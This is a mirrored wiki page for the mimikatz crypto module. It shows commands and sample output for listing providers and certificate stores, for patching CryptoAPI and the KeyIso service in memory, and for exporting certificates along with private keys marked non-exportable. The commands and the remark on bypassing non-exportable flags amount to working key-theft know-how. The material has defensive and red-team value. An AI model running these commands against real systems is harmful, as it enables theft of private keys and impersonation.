module ~ crypto - TopazA/mimikatz GitHub Wiki
providers
This command list all providers: CryptoAPI, then CNG if available (NT 6).
mimikatz # crypto::providers
CryptoAPI providers :
0. Microsoft Base Cryptographic Provider v1.0
1. Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. Microsoft Base DSS Cryptographic Provider
3. Microsoft Base Smart Card Crypto Provider
4. Microsoft DH SChannel Cryptographic Provider
5. Microsoft Enhanced Cryptographic Provider v1.0
6. Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. Microsoft Enhanced RSA and AES Cryptographic Provider
8. Microsoft RSA SChannel Cryptographic Provider
9. Microsoft Strong Cryptographic Provider
10. SafeSign Standard Cryptographic Service Provider
11. SafeSign Standard RSA and AES Cryptographic Service Provider
CNG providers :
0. Microsoft Primitive Provider
1. Microsoft Smart Card Key Storage Provider
2. Microsoft Software Key Storage Provider
3. Microsoft SSL Protocol Provider
4. SafeSign Key Storage Provider
stores
Argument:
/systemstore- optional - the system store that must be used to list stores (default:CERT_SYSTEM_STORE_CURRENT_USER)
It can be one of:CERT_SYSTEM_STORE_CURRENT_USERorCURRENT_USERCERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICYorUSER_GROUP_POLICYCERT_SYSTEM_STORE_LOCAL_MACHINEorLOCAL_MACHINECERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICYorLOCAL_MACHINE_GROUP_POLICYCERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISEorLOCAL_MACHINE_ENTERPRISECERT_SYSTEM_STORE_CURRENT_SERVICEorCURRENT_SERVICECERT_SYSTEM_STORE_USERSorUSERSCERT_SYSTEM_STORE_SERVICESorSERVICES
mimikatz # crypto::stores /systemstore:local_machine
Asking for System Store 'local_machine' (0x00020000)
0. My
1. Root
2. Trust
3. CA
4. TrustedPublisher
5. Disallowed
6. AuthRoot
7. TrustedPeople
8. ADDRESSBOOK
9. ipcu
10. Remote Desktop
11. REQUEST
12. SmartCardRoot
13. TrustedDevices
14. Windows Live ID Token Issuer
certificates
This command lists certificates and properties of theirs keys. It can export certificates too.
Argument:
/systemstore- optional - the system store that must be used (default:CERT_SYSTEM_STORE_CURRENT_USER)/store- optional - the store that must be used to list/export certificates (default:My) - full list withcrypto::stores/export- optional - export all certificates to files (public parts inDER, private parts inPFXfiles - password protected with:mimikatz)
mimikatz # crypto::capi
Local CryptoAPI patched
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # crypto::cng
"KeyIso" service patched
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export
* System Store : 'local_machine' (0x00020000)
* Store : 'my'
0. example.domain.local
Key Container : example.domain.local
Provider : Microsoft Software Key Storage Provider
Type : CNG Key (0xffffffff)
Exportable key : NO
Key size : 2048
Public export : OK - 'local_machine_my_0_example.domain.local.der'
Private export : OK - 'local_machine_my_0_example.domain.local.pfx'
Remarks:
- See
crypto::storesfor validsystemstorelist, and its output forstorelist. - Non exportable keys (with
KO - ERROR kuhl_m_crypto_exportCert ; Export / CreateFile (0x8009000b)) can often be exported withcrypto::capiand/orcrypto::cng - Despite
crypto::capiorcrypto::cngpatch, you must have correct ACL on filesystem to access private keys (UAC... :wink:) - Some smartcard crypto providers can report a successfull private export (it's not, of course :wink:)
keys
capi
mimikatz # crypto::capi
Local CryptoAPI patched
cng
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # crypto::cng
"KeyIso" service patched